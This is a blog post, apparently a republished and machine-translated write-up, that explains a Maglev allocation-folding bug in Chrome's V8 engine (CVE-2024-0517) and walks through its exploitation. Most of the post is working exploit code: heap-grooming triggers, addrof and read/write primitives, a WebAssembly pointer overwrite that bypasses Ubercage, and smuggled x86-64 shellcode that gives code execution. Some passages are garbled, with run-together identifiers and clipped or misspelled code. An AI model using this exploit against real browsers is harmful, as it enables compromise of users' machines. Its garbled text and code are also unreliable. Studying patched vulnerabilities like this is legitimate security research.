The block at [4] performs two operations. First, it tries to get new. target constant value of . Since the control flow is here, if the statement at [3] has already been passed, it means that the parent object processed in the current iteration either has a non-default constructor or is an underlying object with a default or non-default constructor. The statement here checks the function kind to see if the function is a base object with a default constructor. If so, in [5] it checks whether the new target is a valid constant from which an instance can be constructed. If this check also passes, then the function knows that the current parent object being iterated over is a base object that has a default constructor set appropriately to create instances of that object. Therefore, it proceeds to call the BuildAllocateFastObject()) function, taking a new target as an argument so that Maglev emits an IR and memory will be allocated and initialized for the object. As mentioned before, BuildAllocateFastObject()call ExtendOrReallocateCurrentRawAllocation()the function to allocate the necessary memory and initialize everything with the object data to be constructed.

However, as mentioned earlier, BuildAllocateFastObject()it is the caller’s responsibility to ensure that the function is properly cleaned up after current_raw_allocation_the call BuildAllocateFastObject(). As shown in the code, the variable is never cleared after TryBuildFindNonDefaultConstructorOrConstruct()calling . So if the next allocation made after this one collapses with this allocation, and there’s a GC in between, the initialization of the second allocation will be an out-of-bounds write.BuildAllocateFastObject()current_raw_allocation_FindNonDefaultConstructorOrConstruct

There are two important conditions TryBuildFindNonDefaultConstructorOrConstruct()for calling in discussed above. BuildAllocateFastObject()First, the original constructor that is called should be a constant (can be seen at [1]). Secondly, the new target on which the constructor is called should also be a constant (can be seen at [3]). Other constraints are easier to implement, like the base object having a default constructor and no other parent object having a custom constructor.

Triggering Vulnerabilities

As mentioned earlier, the vulnerability can be triggered via the following JavaScript code.

function main() {
[1]
class ClassParent {}
class ClassBug extends ClassParent {
constructor() {
[2]
const v24 = new new.target();
[3]
super();
[4]
let a = [9.9,9.9,9.9,1.1,1.1,1.1,1.1,1.1];
}
[5]
[1000] = 8;
}
[6]
for (let i = 0; i < 300; i++) {
Reflect.construct(ClassBug, [], ClassParent);
}
}
%NeverOptimizeFunction(main);
main();

ClassParent The class at [1] is the parent class of the ClassBug class. ClassParentThe class is a base class with a default constructor that satisfies one of the conditions required to trigger the vulnerability. ClassBugThe class doesn’t have any parent with a custom constructor (it only has one ClassParentparent with a default constructor). Therefore, another condition is met.

In [2], new. target the function that creates the instance is called, and once completed, Maglev will be ClassParentemitted CheckValu to ensure that it remains unchanged at runtime. This one CheckValuewill ClassParentbe marked as a new.target, making it a constant. Therefore, another condition that triggers the problem is met.

superThe constructor is called at [3]. Essentially, when super the constructor is called, the engine performs allocation and initialization for this object. In other words, this is when an object instance is created and initialized. So at the point where the super function is called, FindNonDefaultConstructorOrConstructan opcode is emitted which will be responsible for creating an instance with the correct parent. After that the initialization of the object is completed, which means the code of [5] is emitted. The code in [5] basically sets ClassBugthe current instance’s property 1000 to a value of 8. To do this, it will perform some allocations so the code can trigger a GC run. All in all, [3] two things happen — first the object is allocated and initialized based on the correct parent object. Afterwards, code emitted from [5] [1000] = 8 can trigger GC.

Array creation at [4] will again try to allocate memory for metadata and array elements. However, the Maglev code called to allocate this object’s memory allocated it without clearing it. Therefore, allocations of array elements and metadata will be collapsed with allocations of objects. However, as mentioned in the previous paragraph, the code that triggers the GC [5] lies between the original allocation and the folded allocation. Therefore, if a GC occurs in the code emitted by [5], the original allocation that was supposed to hold the object and array will be moved to another location, where the size of the allocation will include this object. Therefore, when the code that initializes the array elements and metadata is run, an out-of-bounds write will result, destroying anything after the object in the new memory region.FindNonDefaultConstructorOrConstructcurrent_raw_allocation_pointerthisthisathis

Finally, in [6], JIT compilation on Maglev is triggered by running class instantiation in a loop Reflect.construct.for

In the next section, we’ll see how this issue can be exploited to execute code within the Chrome sandbox.

Exploit

Exploiting this vulnerability involves the following steps:

  • The vulnerability is triggered by pointing an allocation to and forcing a garbage collection cycle before FoldedAllocation executes the allocated portion.FoldedAllocation
  • Setting up the V8 heap, garbage collection ultimately places objects in such a way that they can overwrite the mapping of adjacent arrays.
  • Find corrupted array objects for constructing addrof, read and write primitives.
  • Create and instantiate two instances.
  • A shellcode that contains “smuggling” by writing floating point values. This wasm instance should also export a main function that is called later.
  • The first shellcode smuggled into wasm contained functionality to perform arbitrary writes to the entire process space. This must be used to replicate the target load.
  • The second wasm instance will overwrite its shellcode by using arbitrary writes smuggled in the first wasm instance. The second instance will also export a main function.
  • Finally, the exported function of the second instance is called, running the final stage of the shellcode.

Triggering Vulnerability

The Triggering Vulnerabilities section from code analysis highlights a minimal crash trigger. This section explores how to have more control over when a vulnerability is triggered, and how to trigger it in a way that makes it easier to exploit.

et empty_object = {}
let corrupted_instance = null;
class ClassParent {}
class ClassBug extends ClassParent {
constructor(a20, a21, a22) {
const v24 = new new.target();
// [1]
// We will overwrite the contents of the backing elements of this array.
let x = [empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object];
// [2]
super();
// [3]
let a = [1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1,1.1];
// [4]
this.x = x;
this.a = a;
JSON.stringify(empty_array);
}
// [5]
[1] = dogc();
}
// [6]
for (let i = 0; i<200; i++) {
dogc_flag = false;
if (i%2 == 0) dogc_flag = true;
dogc();
}
// [7]
for (let i = 0; i < 650; i++) {
dogc_flag=false;
// [8]
// We will do a gc a couple of times before we hit the bug to clean up the
// heap. This will mean that when we hit the bug, the nursery space will have
// very few objects and it will be more likely to have a predictable layout.
if (i == 644 || i == 645 || i == 646 || i == 640) {
dogc_flag=true;
dogc();
dogc_flag=false;
}
// [9]
// We are going to trigger the bug. To do so we set `dogc_flag` to true
// before we construct ClassBug.
if (i == 646) dogc_flag=true;
let x = Reflect.construct(ClassBug, empty_array, ClassParent);
// [10]
// We save the ClassBug instance we corrupted by the bug into `corrupted_instance`
if (i == 646) corrupted_instance = x;
}

There are some changes to this trigger compared to the triggers we saw before. First, an array is created at [1] which will contain PACKED_ELEMENTS objects of type. It is observed that when GC is triggered at [2] and the existing object is moved to a different memory area, the element backing buffer of the array will be located after this object. As detailed in the previous vulnerability triggering section, due to this vulnerability, when a garbage collection occurs at [2], the immediately following allocation performs an out-of-bounds write to the object after the object in the heap. This means that under the current settings, the array at [3] will be initialized in the element back buffer. The following image shows the state of the necessary parts of Old Space after the GC has run and the array has been allocated.

This provides a powerful type of confusion primitive because the same allocation in memory is dedicated to the raw floating point and metadata and the backing buffer that holds JSObjects as values.

Therefore, this allows the exploit to read a pointer JSObjectfrom the array in floating point form, causing a leak, and to be able to corrupt the metadata from it, which could lead to arbitrary writes within the V8 heap. In [4], references to xand are saved as member variables so that they can be accessed later after the constructor has finished running.

Secondly, we modified the GC triggering mechanism in this trigger. Earlier, allocating this object’s element pointer would cause GC as there was no more space on the heap. However, it is unpredictable when GC will occur, so bugs can be triggered. Therefore, in this trigger, the initialized index is small as shown in [5]. However, when trying to initialize the index, the engine will call the dogc function, which dogc_flagperforms GC when set to true.

Therefore, GC only happens when needed. Since the index of the element initialized at [5] is small, the space allocated for it is also small, and another GC is usually not triggered.

Third, as shown in [6], we trigger GC several times before starting to exploit the vulnerability. This is done for two reasons: JIT compiles the function and triggers some initial GC runs, which moves all existing objects to the Old Space Heap, thus cleaning the heap before starting to exploit the vulnerability.

Finally, the loop at [7] only runs a specific number of times. This is the Maglev JIT compiled ClassBugconstructor loop. If run too frequently, V8 will compile it via TurboFan JIT and prevent the vulnerability from triggering. If the number of runs is too few, the Maglev compiler will never start. The number of times the loop is run and the iteration count that triggers the vulnerability is chosen heuristically by observing the behaviour of the engine in different runs. In [9], we trigger the vulnerability when the loop count is 646. However, on several runs before triggering the vulnerability, we triggered the GC simply to clean up residual objects from past allocations in the heap, as can be seen in [8], doing so increases the post-GC object layout. During the iteration, the vulnerability is triggered and the created object is stored in the corrupted_instance a variable.

Utilizing Primitives

In the previous section, we saw how the vulnerability effectively translated into an out-of-bounds write, causing type confusion between raw floating point values, JSObject, and JSObject metadata. In this section, we will see how this can be exploited to further corrupt data and perform mechanisms for addrof primitives on the V8 heap as well as read/write primitives. We first discuss the mechanics of the initial addrof and write primitives. However, these mechanisms depend on the fact that the garbage collector is not running. To work around this limitation, we will use these initial primitives to make another addrof and read/write primitive that is independent of the garbage collector.

Initial addrof primitive

The first primitive to be implemented is addrof it allows an attacker to leak the address of any JavaScript object. The setup implemented by the exploit in the previous section makes obtaining addrof the primitives very simple.

As mentioned before, once the vulnerability is triggered, the following two areas will overlap:

  • The element of the object’s xbackbuffer.
  • Backbuffer and metadata for array objects.

Therefore, data can be written as an object into an array of objects x, and can be accessed via a packed array of doubles, as the following JavaScript code highlights.

unction addrof_tmp(obj) {
corrupted_instance.x[0] = obj;
f64[0] = corrupted_instance.a[8];
return u32[0];
}

Note that in the V8 heap, all object pointers are compressed 32-bit values. Therefore, the function reads the pointer as a 64-bit floating point value but extracts the address of the value using the lower 32 bits of the value.

Initial Write Primitive

Once the vulnerability is triggered, the same memory area is used to store the backbuffer for an array with objects ( ) and the back buffer and metadata for xa compressed double array ( ). This means that the properties of a packed double array can be modified by writing certain elements in the object array. lengthThe following code attempts to 0x10000write a value to the length field of an object array.

corrupted_instance.x[5] = 0x10000;
if (corrupted_instance.a.length != 0x10000) {
log(ERROR, "Initial Corruption Failed!");
return false;
}

This is possible because in V8 heap memory, SMI is written left shifted by 1 bit, as explained in the “0x01 Preliminaries” chapter. Once the length of the array has been covered, out-of-bounds read/write operations can be performed relative to the array’s backing element buffer position. To exploit this, the exploit allocates another packed double array and finds the offset and element index required to reach its metadata starting from the compromised array’s element buffer.

let rwarr = [1.1,2.2,2.2];
let rwarr_addr = addrof_tmp(rwarr);
let a_addr = addrof_tmp(corrupted_instance.a);
// If our target array to corrupt does not lie after our corrupted array, then
// we can't do anything. Bail and retry the exploit.
if (rwarr_addr < a_addr) {
log(ERROR, "FAILED");
return false;
}
let offset = (rwarr_addr - a_addr) + 0xc;
if ( (offset % 8) != 0 ) {
offset -= 4;
}
offset = offset / 8;
offset += 9;
let marker42_idx = offset;

This setting allows an exploit to modify the metadata of rwarr packed double arrays. If the array’s element pointer is modified to point to a specific value, then rwarr writing to an index in will write a controlled floating point number to that selected address, enabling arbitrary writes to the V8 heap. Below is the JavaScript code to do this. The code accepts two parameters: the target address to be written as an integer value (packed pointer) and the target value to be written as a floating point value.

// These functions use `where-in` because v8
// needs to jump over the map and size words
function v8h_write64(where, what) {
b64[0] = zero;
f64[0] = corrupted_instance.a[marker42_idx];
if (u32[0] == 0x6) {
f64[0] = corrupted_instance.a[marker42_idx-1];
u32[1] = where-8;
corrupted_instance.a[marker42_idx-1] = f64[0];
} else if (u32[1] == 0x6) {
u32[0] = where-8;
corrupted_instance.a[marker42_idx] = f64[0];
}
// We need to read first to make sure we don't
// write bogus values
rwarr[0] = what;
}

However, both addrof primitives and write primitives depend on no garbage collection occurring after successfully triggering the vulnerability. This is because, if GC happens, then it will move objects in memory, and since the metadata and element areas of the array may be moved to separate areas by the garbage collector, primitives such as array element corruption will no longer work.

It may also cause the engine to crash if the GC discovers corrupted metadata (such as corrupted mappings, array lengths, or element pointers). Therefore, it is necessary to use this initial temporary primitive to extend control and obtain a more stable primitive that resists garbage collection.

Achieving GC Resistance

To obtain GC resistance primitives, the exploit takes the following steps:

  • Allocate several objects before triggering the vulnerability.
  • Send allocated objects to Old Space by triggering GC multiple times.
  • trigger vulnerability.
  • Use initial primitives to destroy objects in Old Space.
  • Repair objects damaged by attacks in the Young Space heap.
  • Utilize objects in the Old Space heap to obtain read/write/addrof primitives.

An exploit could allocate the following objects before triggering the vulnerability

let changer = [1.1,2.2,3.3,4.4,5.5,6.6]
let leaker = [1.1,2.2,3.3,4.4,5.5,6.6]
let holder = {p1:0x1234, p2: 0x1234, p3:0x1234};

changer and leaker are arrays containing packed double elements. holder is an object with three properties within the object. When an attack exploit uses the function to trigger garbage collection, these objects will be transferred to the Old Space heap during the warm-up process of the function and when the heap is cleaned.

Once the vulnerability is triggered, the exploit uses the initial addrof to find the changer/leaker/holder of the address of the object. It then overwrites changer the object’s element pointer so that it points to the address of the leaker object, and overwrites the object’s element pointer so that it points to the address of the holder object. This destruction is done using the heap write primitive implemented in the previous section, and the following code demonstrates this process.

changer_addr = addrof_tmp(changer);
leaker_addr = addrof_tmp(leaker);
holder_addr = addrof_tmp(holder);
u32[0] = holder_addr;
u32[1] = 0xc;
original_leaker_bytes = f64[0];
u32[0] = leaker_addr;
u32[1] = 0xc;
v8h_write64(changer_addr+0x8, f64[0]);
v8h_write64(leaker_addr+0x8, original_leaker_bytes);

Once this destruction is completed, the exploit repairs the destruction done to the object in Young Space, effectively losing the original primitives.

corrupted_instance.x.length = 0;
corrupted_instance.a.length = 0;
rwarr.length = 0;

Sets the array’s length to zero, resets its element pointers to their default values, and repairs any changes made to the array’s length. This ensures that the GC never sees any invalid pointers or lengths when scanning these objects. As a further precaution, the entire vulnerability-triggering operation is run in a different function and terminates once the objects on the Young Space heap are repaired.

This causes the engine to lose all references to any corrupted objects defined in the vulnerability triggering function, so the GC will never see or scan them. At this point, the GC will no longer have any impact on the exploit because all corrupted objects in the Young Space have been repaired or have no references. Although there are corrupted objects in Old Space, the corruption is done so that when the GC scans these objects, it will only see pointers to valid objects, so it will never crash. Since these objects are in Old Space, they will not be moved.

Final heap read/write primitives

Once the vulnerability is triggered and the corruption of the objects in the old space using the initial primitives is complete, the exploit constructs new read/write primitives using the corrupted objects in the old space. For arbitrary reads, the exploit takes the changer the object (whose element pointer now points to its leaker) and overwrites the element pointer of the leaker object with the target address to be read. Reading a value back from the array will now change to get a 64-bit floating point number from the target address, enabling arbitrary reads from the V8 heap. Once the value has been read, the exploit uses changer the object again leaker to reset the object’s element pointer and make it point to the address of the holder object seen in the previous section. We can implement this process in JS.

function v8h_read64(addr) {
original_leaker_bytes = changer[0];
u32[0] = Number(addr)-8;
u32[1] = 0xc;
changer[0] = f64[0];
let ret = leaker[0];
changer[0] = original_leaker_bytes;
return f2i(ret);
}

v8h_read64The function accepts as a parameter the target address to be read. Addresses can be represented as integers or BigInt. It returns the 64-bit value at the address as a BigInt.

To achieve arbitrary heap writes, the exploit performs the same operation as a read, the only difference being that instead of leaker-reading the value from the object, it writes the target value. As follows.

function v8h_write(addr, value) {
original_leaker_bytes = changer[0];
u32[0] = Number(addr)-8;
u32[1] = 0xc;
changer[0] = f64[0];
f64[0] = leaker[0];
u32[0] = Number(value);
leaker[0] = f64[0];
changer[0] = original_leaker_bytes;
}

v8h_write64Accepts as arguments the destination address and destination value to be written. Both values ​​should be BigInts. It then writes the value to the memory area pointed to by the address.

Final addrof primitive

After the object in Old Space is damaged, the elements of the array point to the address of the holder array. As shown in the section. This means that using a leaker array to read element indexes will result in leaking the contents of the array’s in-object properties as raw floating point values. So, to implement addrof the primitive, the exploit writes the object whose address is to be leaked into one of its internal properties and then uses leaker an array to leak that address in floating point form. We can achieve this in JS.

function addrof(obj) {
holder.p2 = obj;
let ret = leaker[1];
holder.p2 = 0;
return f2i(ret) & 0xffffffffn;
}

This addrof function accepts an object as a parameter and returns its address as a 32-bit integer.

Bypassing Ubercage on Intel (x86–64)

In V8, the area used to store JIT function code and the area used to hold WebAssembly code has read-write-execute (RWX) permissions. It has been observed that when a WebAssembly instance is created, the underlying object in C++ contains a complete 64-bit raw pointer that stores the starting address of the jump table. This is a pointer to the RWX area that is called when the instance attempts to locate the actual address of an exported WebAssembly function. Since this pointer exists in the V8 heap as a raw 64-bit pointer, it can be modified by an attack to point to any location in memory. The next time the instance attempts to locate the exported address, it will use that function pointer and call it, allowing the attack to gain control of the instruction pointer. In this way, Ubercage can be bypassed.

The exploit code to overwrite the RWX pointer in the WebAssembly instance looks like this:

[1]
var wasmCode = new Uint8Array([
[ TRUNCATED ]
]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
[2]
let addr_wasminstance = addrof(wasmInstance);
log(DEBUG, "addrof(wasmInstance) => " + hex(addr_wasminstance));
[3]
let wasm_rwx = v8h_read64(addr_wasminstance+wasmoffset);
log(DEBUG, "addrof(wasm_rwx) => " + hex(wasm_rwx));
[4]
var f = wasmInstance.exports.main;
[5]
v8h_write64(addr_wasminstance+wasmoffset, 0x41414141n);
[6]
f();

In [1], wasm instances are built from pre-built wasm binaries. In [2], addrof the address of the instance was found using primitives. The original RWX pointer is saved in wasm_rwxthe variable at [3]. was offsets a version-dependent offset. In [4], references to exported wasm functions are extracted into JavaScript. [5] will overwrite the RWX pointer in the wasm instance so that it points to 0x41414141. Finally, at [6], the exported function is called, which will make the instance jump to, we make the exploit jump_table_startby overwriting it so that it points to 0x41414141Ability to fully control the instruction pointer RIP.

Shellcode Smuggling

The previous section discussed how to bypass Ubercage by overwriting the 64-bit pointer in the WebAssembly instance object and gaining instruction pointer control. This section discusses how to use it to execute a small shell code. Since it is not possible to jump to the middle of instructions on ARM-based architecture, it only applies to Intel x86–64 architecture.

Consider the following WebAssembly code.

f64.const 0x90909090_90909090
f64.const 0xcccccccc_cccccccc

The above code just creates 2 64-bit floating point values. When the engine compiles this code into an assembly, the following assembly is emitted.

0x00:      movabs r10,0x9090909090909090
0x0a: vmovq xmm0,r10
0x0f: movabs r10,0xcccccccccccccccc
0x19: vmovq xmm1,r10

On Intel processors, instructions have no fixed length. Therefore, the instruction pointer (that is, the RIP register on 64-bit Intel machines) does not need to be aligned. So, by observing in the above code snippet by skipping the movabs first two bytes of the instruction starting at address 0x02, the assembly code will look like this:

0x02: nop
0x03: nop
0x04: nop
0x05: nop
0x06: nop
0x07: nop
0x08: nop
0x09: nop
0x0a: vmovq xmm0,r10
0x0f: movabs r10,0xcccccccccccccccc
0x19: vmovq xmm1,r10
[TRUNCATED]

Therefore, constants declared in WebAssembly code can be interpreted as assembly code by jumping in the middle of instructions, which is valid on machines running Intel architecture. So, using the RIP controls described in the previous section, you can redirect the RIP into the middle of some compiled wasm code containing controlled floating point constants and interpret them as x86–64 instructions.

Implementing Completely Arbitrary Writing

Observed that on Google Chrome and Microsoft Edge on x86–64 Windows and Linux systems, the first parameter of the wasm function is stored in RAXa register, the second parameter is stored in RDXand the third parameter is stored in RCXa register. Therefore, the following assembly code snippet provides a 64-bit arbitrary write primitive.

0x00:   48 89 10                mov    QWORD PTR [rax],rdx
0x03: c3 ret

In hex, this looks like 0xc3108948_90909090it’s no padded to ensure the total size is 8 bytes. It is important to note that, as explained in the Bypassing Ubercage section, the function pointer overwritten by the exploit is only called once when the WebAssembly function is initialized. Therefore, the pointer is overwritten to point to the address of any write. When this function is called, the exploit uses this 64-bit arbitrary write to overwrite the beginning of the wasm function code located in the RWX region with the same instructions. This allows the exploit to have persistent 64-bit arbitrary writes by simply calling the wasm function multiple times with the required parameters.

The following code in the exploit calls a “smuggled” shellcode that uses the same instructions to overwrite the starting byte of the web function, allowing the wasm function to perform arbitrary writes.

let initial_rwx_write_at = wasm_rwx + wasm_function_offset;
f(initial_rwx_write_at, 0xc310894890909090n);

wasm_function_offset is a version-dependent offset representing the offset from the beginning of the wasm RWX region to the start of the exported wasm function. Thereafter, the function becomes a complete arbitrary write function, whose first argument is the destination address and the second argument is the value to be written.

Running Shellcode

Once the full 64-bit persistent write primitive is implemented, the vulnerability proceeds to use it to copy a small segmented memory copy shellcode to the RWX region. This is done because the size of the final shellcode can be large, so if it is written directly to the RWX area using arbitrary writes, it increases the chance of triggering the JIT and GC. The following shellcode performs a large copy of the RWX region:

0:   4c 01 f2                add    rdx,r14
3: 50 push rax
4: 48 8b 1a mov rbx,QWORD PTR [rdx]
7: 89 18 mov DWORD PTR [rax],ebx
9: 48 83 c2 08 add rdx,0x8
d: 48 83 c0 04 add rax,0x4
11: 66 83 e9 04 sub cx,0x4
15: 66 83 f9 00 cmp cx,0x0
19: 75 e9 jne 0x4
1b: 58 pop rax
1c: ff d0 call rax
1e: c3 ret

The shellcode copies 4 bytes at a time from the backing buffer containing the double array of shellcodes in the V8 heap and writes it to the target RWX area. The first parameter in the RAX register is the destination address, the second parameter is the source address, and the third parameter is the size of the final shellcode to be copied. The following portion of the exploit focuses on copying this 4-byte memory copy payload to the RWX region using the arbitrary write implemented in the previous function.

[1]
let start_our_rwx = wasm_rwx+0x500n;
f(start_our_rwx, snd_sc_b64[0]);
f(start_our_rwx+8n, snd_sc_b64[1]);
f(start_our_rwx+16n, snd_sc_b64[2]);
f(start_our_rwx+24n, snd_sc_b64[3]);
[2]
let addr_wasminstance_rce = addrof(wasmInstanceRCE);
log(DEBUG, "addrof(wasmInstanceRCE) => " + hex(addr_wasminstance_rce));
let rce = wasmInstanceRCE.exports.main;
v8h_write64(addr_wasminstance_rce+wasmoffset, start_out_rwx);
[3]
let addr_of_sc_aux = addrof(shellcode);
let addr_of_sc_ele = v8h_read(addr_of_sc_aux+8n)+8n-1n;
rce(wasm_rwx, addr_of_sc_ele, 0x300);

At [1], the exploit utilizes the arbitrary write functionality to copy the payload stored in snd_sc_b64the array memcpyto the RWX region. The target area is 0x500 bytes from the beginning of the wasm area (this offset is chosen arbitrarily, provided it does not overwrite the exploit’s own shellcode). As mentioned before, the Web Assembly instance only calls jump_table_startpointer, and the exploit overwrites this pointer and only executes it once when trying to locate the address of the exported wasm function. Therefore, the exploit uses a second Wasm instance and jump_table_startoverwrites its pointer at [2] with memcpy the area where the shellcode has been copied. Finally, at [3], the element pointers of the array storing the shellcode are calculated and the 4-byte memory copy payload is called with the necessary arguments (the first is the location where the final shellcode is copied, the second argument is the source pointer, and the last The parameter is the size of the shellcode). When the wasm function is called, the shellcode is run, and after executing a copy of the final shellcode, it is called rax executed via a redirect to the target address, effectively running the user-supplied shellcode.

The following is the vulnerability exploit on Chrome 120.0.6099.71 on Linux, you can click to view it.

Conclusion

In this post, we discuss a vulnerability in V8 that is caused by V8’s Maglev compiler trying to optimize its number of allocations. We successfully exploited this vulnerability by leveraging V8’s garbage collector to gain read/write access to the V8 heap. Then, use a Wasm instance object in V8 that still has a raw 64-bit pointer to Wasm RWX memory to bypass Ubercage and get code execution inside the Chrome sandbox.

The vulnerability was fixed in a Chrome update on January 16, 2024, and is numbered CVE-2024–0517. The following commit fixed the vulnerability:

In addition to fixing the vulnerability, an upstream V8 commit was recently introduced to move the WASM instance to a new trusted space, rendering this method of bypassing Ubercage ineffective.

--

--

TutorialBoy

Our mission is to get you into information security. We'll introduce you to penetration testing and Red Teaming. We cover network testing, Active Directory.